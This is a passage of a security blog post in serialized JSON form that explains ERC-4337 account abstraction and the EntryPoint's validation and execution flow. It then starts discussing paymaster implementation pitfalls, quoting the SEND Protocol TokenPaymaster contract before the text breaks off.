29,"body":58532,"_type":6799,"_id":64329,"_source":6801,"_file":64330,"_stem":64331,"_extension":6804},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":58528,"width":6816,"height":6817},"/posts/paymasters-evm/title.png",[58530,58531],"evm","ERC-4337",{"type":23,"children":58533,"toc":64308},[58534,58538,58549,58554,58559,58564,58570,58576,58581,58586,58592,58597,58625,58631,58636,58643,58648,58658,58663,58689,58695,58715,58721,58741,58750,58780,58813,58822,58833,58858,58870,58883,58927,58933,58966,59066,59085,59108,59113,59119,59147,59294,59299,59326,59332,59344,59356,59365,59400,59405,60902,60930,60951,60956,60968,60977,60982,61001,61024,61029,61035,61088,61094,61127,61162,61992,62028,62064,62130,62163,62662,62715,62727,63293,63362,63389,64013,64055,64082,64094,64156,64175,64209,64214,64219,64224,64228,64233,64268,64294,64299,64304],{"type":26,"tag":454,"props":58535,"children":58536},{"id":24419},[58537],{"type":32,"value":24422},{"type":26,"tag":39,"props":58539,"children":58540},{},[58541,58547],{"type":26,"tag":163,"props":58542,"children":58545},{"href":58543,"rel":58544},"https://docs.erc4337.io/",[167],[58546],{"type":32,"value":58531},{"type":32,"value":58548}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":26,"tag":39,"props":58550,"children":58551},{},[58552],{"type":32,"value":58553},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":26,"tag":39,"props":58555,"children":58556},{},[58557],{"type":32,"value":58558},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":26,"tag":39,"props":58560,"children":58561},{},[58562],{"type":32,"value":58563},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":26,"tag":454,"props":58565,"children":58567},{"id":58566},"erc4337-overview",[58568],{"type":32,"value":58569},"ERC4337 Overview",{"type":26,"tag":27,"props":58571,"children":58573},{"id":58572},"traditional-eoas-vs-smart-contract-wallets",[58574],{"type":32,"value":58575},"Traditional EOAs vs Smart Contract Wallets",{"type":26,"tag":39,"props":58577,"children":58578},{},[58579],{"type":32,"value":58580},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":26,"tag":39,"props":58582,"children":58583},{},[58584],{"type":32,"value":58585},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":26,"tag":27,"props":58587,"children":58589},{"id":58588},"why-erc4337-was-introduced",[58590],{"type":32,"value":58591},"Why ERC‑4337 Was Introduced",{"type":26,"tag":39,"props":58593,"children":58594},{},[58595],{"type":32,"value":58596},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":26,"tag":2040,"props":58598,"children":58599},{},[58600,58605,58610,58615,58620],{"type":26,"tag":2044,"props":58601,"children":58602},{},[58603],{"type":32,"value":58604},"User recovery for lost keys (e.g. social recovery)",{"type":26,"tag":2044,"props":58606,"children":58607},{},[58608],{"type":32,"value":58609},"Batched or atomic multi-step operations in one flow",{"type":26,"tag":2044,"props":58611,"children":58612},{},[58613],{"type":32,"value":58614},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":26,"tag":2044,"props":58616,"children":58617},{},[58618],{"type":32,"value":58619},"Using custom signature schemes or multisig logic",{"type":26,"tag":2044,"props":58621,"children":58622},{},[58623],{"type":32,"value":58624},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":26,"tag":27,"props":58626,"children":58628},{"id":58627},"how-erc-4337-works",[58629],{"type":32,"value":58630},"How ERC-4337 Works",{"type":26,"tag":39,"props":58632,"children":58633},{},[58634],{"type":32,"value":58635},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":26,"tag":39,"props":58637,"children":58638},{},[58639],{"type":26,"tag":6468,"props":58640,"children":58642},{"alt":9464,"src":58641},"/posts/paymasters-evm/flowchart.png",[],{"type":26,"tag":39,"props":58644,"children":58645},{},[58646],{"type":32,"value":58647},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":26,"tag":607,"props":58649,"children":58651},{"id":58650},"useroperation",[58652],{"type":26,"tag":83,"props":58653,"children":58655},{"className":58654},[],[58656],{"type":32,"value":58657},"UserOperation",{"type":26,"tag":39,"props":58659,"children":58660},{},[58661],{"type":32,"value":58662},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":26,"tag":2040,"props":58664,"children":58665},{},[58666,58671,58676],{"type":26,"tag":2044,"props":58667,"children":58668},{},[58669],{"type":32,"value":58670},"Target contract call(s)",{"type":26,"tag":2044,"props":58672,"children":58673},{},[58674],{"type":32,"value":58675},"Signature or validation metadata",{"type":26,"tag":2044,"props":58677,"children":58678},{},[58679,58681,58687],{"type":32,"value":58680},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":26,"tag":83,"props":58682,"children":58684},{"className":58683},[],[58685],{"type":32,"value":58686},"UserOperations",{"type":32,"value":58688}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":26,"tag":607,"props":58690,"children":58692},{"id":58691},"smart-contract-account",[58693],{"type":32,"value":58694},"Smart Contract Account",{"type":26,"tag":39,"props":58696,"children":58697},{},[58698,58700,58706,58707,58713],{"type":32,"value":58699},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":26,"tag":83,"props":58701,"children":58703},{"className":58702},[],[58704],{"type":32,"value":58705},"validateUserOp()",{"type":32,"value":1308},{"type":26,"tag":83,"props":58708,"children":58710},{"className":58709},[],[58711],{"type":32,"value":58712},"executeUserOp()",{"type":32,"value":58714},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":26,"tag":607,"props":58716,"children":58718},{"id":58717},"bundler",[58719],{"type":32,"value":58720},"Bundler",{"type":26,"tag":39,"props":58722,"children":58723},{},[58724,58726,58731,58733,58739],{"type":32,"value":58725},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":26,"tag":83,"props":58727,"children":58729},{"className":58728},[],[58730],{"type":32,"value":58686},{"type":32,"value":58732},", packages them, and submits them in a single transaction to the ",{"type":26,"tag":83,"props":58734,"children":58736},{"className":58735},[],[58737],{"type":32,"value":58738},"EntryPoint",{"type":32,"value":58740}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":26,"tag":607,"props":58742,"children":58744},{"id":58743},"entrypoint",[58745],{"type":26,"tag":83,"props":58746,"children":58748},{"className":58747},[],[58749],{"type":32,"value":58738},{"type":26,"tag":39,"props":58751,"children":58752},{},[58753,58754,58759,58761,58766,58768,58772,58773,58778],{"type":32,"value":475},{"type":26,"tag":83,"props":58755,"children":58757},{"className":58756},[],[58758],{"type":32,"value":58738},{"type":32,"value":58760}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":26,"tag":83,"props":58762,"children":58764},{"className":58763},[],[58765],{"type":32,"value":58686},{"type":32,"value":58767}," submitted by a ",{"type":26,"tag":9348,"props":58769,"children":58770},{},[58771],{"type":32,"value":58720},{"type":32,"value":17073},{"type":26,"tag":83,"props":58774,"children":58776},{"className":58775},[],[58777],{"type":32,"value":58738},{"type":32,"value":58779}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":26,"tag":39,"props":58781,"children":58782},{},[58783,58785,58790,58792,58796,58798,58803,58805,58811],{"type":32,"value":58784},"Once all operations have been processed, the ",{"type":26,"tag":83,"props":58786,"children":58788},{"className":58787},[],[58789],{"type":32,"value":58738},{"type":32,"value":58791}," calculates the total gas consumed and reimburses the ",{"type":26,"tag":9348,"props":58793,"children":58794},{},[58795],{"type":32,"value":58720},{"type":32,"value":58797},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":26,"tag":83,"props":58799,"children":58801},{"className":58800},[],[58802],{"type":32,"value":58738},{"type":32,"value":58804}," or from a ",{"type":26,"tag":83,"props":58806,"children":58808},{"className":58807},[],[58809],{"type":32,"value":58810},"paymaster",{"type":32,"value":58812}," that has agreed to sponsor the transaction.",{"type":26,"tag":607,"props":58814,"children":58815},{"id":58810},[58816],{"type":26,"tag":83,"props":58817,"children":58819},{"className":58818},[],[58820],{"type":32,"value":58821},"Paymaster",{"type":26,"tag":39,"props":58823,"children":58824},{},[58825,58826,58831],{"type":32,"value":14863},{"type":26,"tag":83,"props":58827,"children":58829},{"className":58828},[],[58830],{"type":32,"value":58810},{"type":32,"value":58832}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":26,"tag":2040,"props":58834,"children":58835},{},[58836,58847],{"type":26,"tag":2044,"props":58837,"children":58838},{},[58839,58845],{"type":26,"tag":83,"props":58840,"children":58842},{"className":58841},[],[58843],{"type":32,"value":58844},"validatePaymasterUserOp()",{"type":32,"value":58846}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":26,"tag":2044,"props":58848,"children":58849},{},[58850,58856],{"type":26,"tag":83,"props":58851,"children":58853},{"className":58852},[],[58854],{"type":32,"value":58855},"postOp()",{"type":32,"value":58857},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":26,"tag":39,"props":58859,"children":58860},{},[58861,58863,58868],{"type":32,"value":58862},"By supporting both sponsorship and token-based gas payments, ",{"type":26,"tag":83,"props":58864,"children":58866},{"className":58865},[],[58867],{"type":32,"value":58810},{"type":32,"value":58869}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":26,"tag":27,"props":58871,"children":58873},{"id":58872},"understanding-the-entrypoints-flow",[58874,58876,58881],{"type":32,"value":58875},"Understanding the ",{"type":26,"tag":83,"props":58877,"children":58879},{"className":58878},[],[58880],{"type":32,"value":58738},{"type":32,"value":58882},"'s Flow",{"type":26,"tag":39,"props":58884,"children":58885},{},[58886,58888,58893,58895,58900,58902,58913,58915,58920,58921,58926],{"type":32,"value":58887},"When a bundler submits ",{"type":26,"tag":83,"props":58889,"children":58891},{"className":58890},[],[58892],{"type":32,"value":58686},{"type":32,"value":58894}," to the ",{"type":26,"tag":83,"props":58896,"children":58898},{"className":58897},[],[58899],{"type":32,"value":58738},{"type":32,"value":58901}," contract via ",{"type":26,"tag":163,"props":58903,"children":58906},{"href":58904,"rel":58905},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[167],[58907],{"type":26,"tag":83,"props":58908,"children":58910},{"className":58909},[],[58911],{"type":32,"value":58912},"handleOps()",{"type":32,"value":58914},", the processing occurs in two main phases: ",{"type":26,"tag":9348,"props":58916,"children":58917},{},[58918],{"type":32,"value":58919},"Validation",{"type":32,"value":1308},{"type":26,"tag":9348,"props":58922,"children":58923},{},[58924],{"type":32,"value":58925},"Execution",{"type":32,"value":180},{"type":26,"tag":607,"props":58928,"children":58930},{"id":58929},"validation-phase",[58931],{"type":32,"value":58932},"Validation Phase",{"type":26,"tag":39,"props":58934,"children":58935},{},[58936,58938,58943,58945,58951,58953,58959,58960,58965],{"type":32,"value":58937},"In this phase, the ",{"type":26,"tag":83,"props":58939,"children":58941},{"className":58940},[],[58942],{"type":32,"value":58738},{"type":32,"value":58944}," first validates all operations in the submitted ",{"type":26,"tag":83,"props":58946,"children":58948},{"className":58947},[],[58949],{"type":32,"value":58950},"UserOps",{"type":32,"value":58952}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":26,"tag":83,"props":58954,"children":58956},{"className":58955},[],[58957],{"type":32,"value":58958},"UserOp",{"type":32,"value":17073},{"type":26,"tag":83,"props":58961,"children":58963},{"className":58962},[],[58964],{"type":32,"value":58738},{"type":32,"value":1473},{"type":26,"tag":6712,"props":58967,"children":58968},{},[58969,58987,59005,59026,59038],{"type":26,"tag":2044,"props":58970,"children":58971},{},[58972,58979,58981],{"type":26,"tag":163,"props":58973,"children":58976},{"href":58974,"rel":58975},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[167],[58977],{"type":32,"value":58978},"Calculates",{"type":32,"value":58980}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":26,"tag":83,"props":58982,"children":58984},{"className":58983},[],[58985],{"type":32,"value":58986},"maxFeePerGas",{"type":26,"tag":2044,"props":58988,"children":58989},{},[58990,58997,58998,59003],{"type":26,"tag":163,"props":58991,"children":58994},{"href":58992,"rel":58993},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[167],[58995],{"type":32,"value":58996},"Calls",{"type":32,"value":19795},{"type":26,"tag":83,"props":58999,"children":59001},{"className":59000},[],[59002],{"type":32,"value":58705},{"type":32,"value":59004}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":26,"tag":2044,"props":59006,"children":59007},{},[59008,59010,59017,59019,59024],{"type":32,"value":59009},"If no paymaster is specified, attempts to ",{"type":26,"tag":163,"props":59011,"children":59014},{"href":59012,"rel":59013},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[167],[59015],{"type":32,"value":59016},"deduct",{"type":32,"value":59018}," the prefund amount from the sender's ETH deposit in the ",{"type":26,"tag":83,"props":59020,"children":59022},{"className":59021},[],[59023],{"type":32,"value":58738},{"type":32,"value":59025}," (this can be partially refunded later if actual execution costs less)",{"type":26,"tag":2044,"props":59027,"children":59028},{},[59029,59036],{"type":26,"tag":163,"props":59030,"children":59033},{"href":59031,"rel":59032},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[167],[59034],{"type":32,"value":59035},"Validates",{"type":32,"value":59037}," the nonce to prevent replay attacks",{"type":26,"tag":2044,"props":59039,"children":59040},{},[59041,59043,59049,59051,59058,59059,59064],{"type":32,"value":59042},"If a paymaster is specified, it will ",{"type":26,"tag":163,"props":59044,"children":59047},{"href":59045,"rel":59046},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[167],[59048],{"type":32,"value":59016},{"type":32,"value":59050}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":26,"tag":163,"props":59052,"children":59055},{"href":59053,"rel":59054},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[167],[59056],{"type":32,"value":59057},"call",{"type":32,"value":19795},{"type":26,"tag":83,"props":59060,"children":59062},{"className":59061},[],[59063],{"type":32,"value":58844},{"type":32,"value":59065}," on the paymaster contract to verify it will cover gas costs",{"type":26,"tag":39,"props":59067,"children":59068},{},[59069,59071,59076,59078,59083],{"type":32,"value":59070},"Only after all these validation checks pass will the ",{"type":26,"tag":83,"props":59072,"children":59074},{"className":59073},[],[59075],{"type":32,"value":58738},{"type":32,"value":59077}," move on to actually executing the ",{"type":26,"tag":83,"props":59079,"children":59081},{"className":59080},[],[59082],{"type":32,"value":58657},{"type":32,"value":59084},". This strict validation flow ensures that:",{"type":26,"tag":2040,"props":59086,"children":59087},{},[59088,59093,59098,59103],{"type":26,"tag":2044,"props":59089,"children":59090},{},[59091],{"type":32,"value":59092},"The operation is legitimate and authorized by the user",{"type":26,"tag":2044,"props":59094,"children":59095},{},[59096],{"type":32,"value":59097},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":26,"tag":2044,"props":59099,"children":59100},{},[59101],{"type":32,"value":59102},"The operation cannot be replayed",{"type":26,"tag":2044,"props":59104,"children":59105},{},[59106],{"type":32,"value":59107},"All involved contracts (sender and paymaster) have approved the execution",{"type":26,"tag":39,"props":59109,"children":59110},{},[59111],{"type":32,"value":59112},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":26,"tag":607,"props":59114,"children":59116},{"id":59115},"execution-phase",[59117],{"type":32,"value":59118},"Execution Phase",{"type":26,"tag":39,"props":59120,"children":59121},{},[59122,59124,59129,59131,59138,59140,59145],{"type":32,"value":59123},"After all operations have passed validation, the ",{"type":26,"tag":83,"props":59125,"children":59127},{"className":59126},[],[59128],{"type":32,"value":58738},{"type":32,"value":59130}," begins the ",{"type":26,"tag":163,"props":59132,"children":59135},{"href":59133,"rel":59134},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[167],[59136],{"type":32,"value":59137},"execution",{"type":32,"value":59139}," phase, processing each ",{"type":26,"tag":83,"props":59141,"children":59143},{"className":59142},[],[59144],{"type":32,"value":58657},{"type":32,"value":59146}," individually. For each operation, the flow is:",{"type":26,"tag":6712,"props":59148,"children":59149},{},[59150,59210,59256],{"type":26,"tag":2044,"props":59151,"children":59152},{},[59153,59154,59159,59161,59167,59168,59174,59176],{"type":32,"value":475},{"type":26,"tag":83,"props":59155,"children":59157},{"className":59156},[],[59158],{"type":32,"value":58738},{"type":32,"value":59160}," makes a ",{"type":26,"tag":163,"props":59162,"children":59165},{"href":59163,"rel":59164},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[167],[59166],{"type":32,"value":59057},{"type":32,"value":15169},{"type":26,"tag":83,"props":59169,"children":59171},{"className":59170},[],[59172],{"type":32,"value":59173},"innerHandleOp()",{"type":32,"value":59175},", which:\n",{"type":26,"tag":2040,"props":59177,"children":59178},{},[59179,59191,59196],{"type":26,"tag":2044,"props":59180,"children":59181},{},[59182,59189],{"type":26,"tag":163,"props":59183,"children":59186},{"href":59184,"rel":59185},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[167],[59187],{"type":32,"value":59188},"Forwards",{"type":32,"value":59190}," the operation to the sender's smart account contract",{"type":26,"tag":2044,"props":59192,"children":59193},{},[59194],{"type":32,"value":59195},"Executes the intended transaction(s) within the smart account",{"type":26,"tag":2044,"props":59197,"children":59198},{},[59199,59201,59208],{"type":32,"value":59200},"Handles ",{"type":26,"tag":163,"props":59202,"children":59205},{"href":59203,"rel":59204},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[167],[59206],{"type":32,"value":59207},"post-execution",{"type":32,"value":59209}," tasks and cleanup",{"type":26,"tag":2044,"props":59211,"children":59212},{},[59213,59215,59221,59223,59229,59230,59236,59238],{"type":32,"value":59214},"If a paymaster was used, ",{"type":26,"tag":83,"props":59216,"children":59218},{"className":59217},[],[59219],{"type":32,"value":59220},"Entrypoint",{"type":32,"value":59222}," will ",{"type":26,"tag":163,"props":59224,"children":59227},{"href":59225,"rel":59226},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[167],[59228],{"type":32,"value":59057},{"type":32,"value":19795},{"type":26,"tag":83,"props":59231,"children":59233},{"className":59232},[],[59234],{"type":32,"value":59235},"paymaster.postOp()",{"type":32,"value":59237}," to:\n",{"type":26,"tag":2040,"props":59239,"children":59240},{},[59241,59246,59251],{"type":26,"tag":2044,"props":59242,"children":59243},{},[59244],{"type":32,"value":59245},"Allow paymaster to finalize its accounting",{"type":26,"tag":2044,"props":59247,"children":59248},{},[59249],{"type":32,"value":59250},"Process any refunds or additional charges",{"type":26,"tag":2044,"props":59252,"children":59253},{},[59254],{"type":32,"value":59255},"Complete any paymaster-specific logic",{"type":26,"tag":2044,"props":59257,"children":59258},{},[59259,59261,59266,59267,59274,59276],{"type":32,"value":59260},"Finally, after all operations are processed, the ",{"type":26,"tag":83,"props":59262,"children":59264},{"className":59263},[],[59265],{"type":32,"value":58738},{"type":32,"value":19795},{"type":26,"tag":163,"props":59268,"children":59271},{"href":59269,"rel":59270},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[167],[59272],{"type":32,"value":59273},"compensates",{"type":32,"value":59275}," the bundler for:\n",{"type":26,"tag":2040,"props":59277,"children":59278},{},[59279,59284,59289],{"type":26,"tag":2044,"props":59280,"children":59281},{},[59282],{"type":32,"value":59283},"Gas costs from executing all operations",{"type":26,"tag":2044,"props":59285,"children":59286},{},[59287],{"type":32,"value":59288},"Overhead from submitting the batch transaction",{"type":26,"tag":2044,"props":59290,"children":59291},{},[59292],{"type":32,"value":59293},"Any unused gas, which is refunded",{"type":26,"tag":39,"props":59295,"children":59296},{},[59297],{"type":32,"value":59298},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":26,"tag":39,"props":59300,"children":59301},{},[59302,59304,59309,59311,59317,59319,59324],{"type":32,"value":59303},"Now that we understand how the ",{"type":26,"tag":83,"props":59305,"children":59307},{"className":59306},[],[59308],{"type":32,"value":58738},{"type":32,"value":59310}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":26,"tag":83,"props":59312,"children":59314},{"className":59313},[],[59315],{"type":32,"value":59316},"paymasters",{"type":32,"value":59318}," that align with the ",{"type":26,"tag":83,"props":59320,"children":59322},{"className":59321},[],[59323],{"type":32,"value":58738},{"type":32,"value":59325},"'s execution model, leading to potential vulnerabilities.",{"type":26,"tag":454,"props":59327,"children":59329},{"id":59328},"common-pitfalls-in-paymaster-implementation",[59330],{"type":32,"value":59331},"Common Pitfalls in Paymaster Implementation",{"type":26,"tag":39,"props":59333,"children":59334},{},[59335,59337,59342],{"type":32,"value":59336},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":26,"tag":83,"props":59338,"children":59340},{"className":59339},[],[59341],{"type":32,"value":58738},{"type":32,"value":59343}," to exploitation or griefing.",{"type":26,"tag":39,"props":59345,"children":59346},{},[59347,59349,59354],{"type":32,"value":59348},"In this section, we’ll walk through the ",{"type":26,"tag":9348,"props":59350,"children":59351},{},[59352],{"type":32,"value":59353},"two most common pitfalls",{"type":32,"value":59355}," we’ve observed in real-world paymaster implementations:",{"type":26,"tag":27,"props":59357,"children":59359},{"id":59358},"undercalculated-gas-costs",[59360],{"type":26,"tag":9348,"props":59361,"children":59362},{},[59363],{"type":32,"value":59364},"Undercalculated Gas Costs",{"type":26,"tag":39,"props":59366,"children":59367},{},[59368,59370,59375,59377,59382,59384,59389,59391,59398],{"type":32,"value":59369},"To understand this issue, let's first examine how gas penalties work in the ",{"type":26,"tag":83,"props":59371,"children":59373},{"className":59372},[],[59374],{"type":32,"value":58738},{"type":32,"value":59376},". When a ",{"type":26,"tag":83,"props":59378,"children":59380},{"className":59379},[],[59381],{"type":32,"value":58657},{"type":32,"value":59383}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":26,"tag":83,"props":59385,"children":59387},{"className":59386},[],[59388],{"type":32,"value":58738},{"type":32,"value":59390}," charges a ",{"type":26,"tag":163,"props":59392,"children":59395},{"href":59393,"rel":59394},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[167],[59396],{"type":32,"value":59397},"penalty of 10%",{"type":32,"value":59399}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":26,"tag":39,"props":59401,"children":59402},{},[59403],{"type":32,"value":59404},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":26,"tag":207,"props":59406,"children":59410},{"className":59407,"code":59408,"language":59409,"meta":8,"style":8},"language-solidity shiki shiki-themes slack-dark","contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n","solidity",[59411],{"type":26,"tag":83,"props":59412,"children":59413},{"__ignoreMap":8},[59414,59459,59467,59526,59534,59542,59586,59593,59605,59627,59648,59678,59729,59759,59780,59819,59858,59876,59915,59940,59958,60000,60021,60038,60055,60062,60069,60095,60113,60149,60180,60192,60240,60247,60254,60261,60328,60335,60342,60349,60360,60379,60398,60462,60484,60517,60532,60567,60575,60614,60639,60660,60668,60695,60724,60732,60740,60782,60789,60796,60820,60836,60843,60850,60868,60881,60888,60895],{"type":26,"tag":217,"props":59415,"children":59416},{"class":7028,"line":7029},[59417,59422,59427,59432,59437,59441,59446,59450,59455],{"type":26,"tag":217,"props":59418,"children":59419},{"style":7154},[59420],{"type":32,"value":59421},"contract",{"type":26,"tag":217,"props":59423,"children":59424},{"style":7119},[59425],{"type":32,"value":59426}," TokenPaymaster",{"type":26,"tag":217,"props":59428,"children":59429},{"style":7154},[59430],{"type":32,"value":59431}," is",{"type":26,"tag":217,"props":59433,"children":59434},{"style":7119},[59435],{"type":32,"value":59436}," 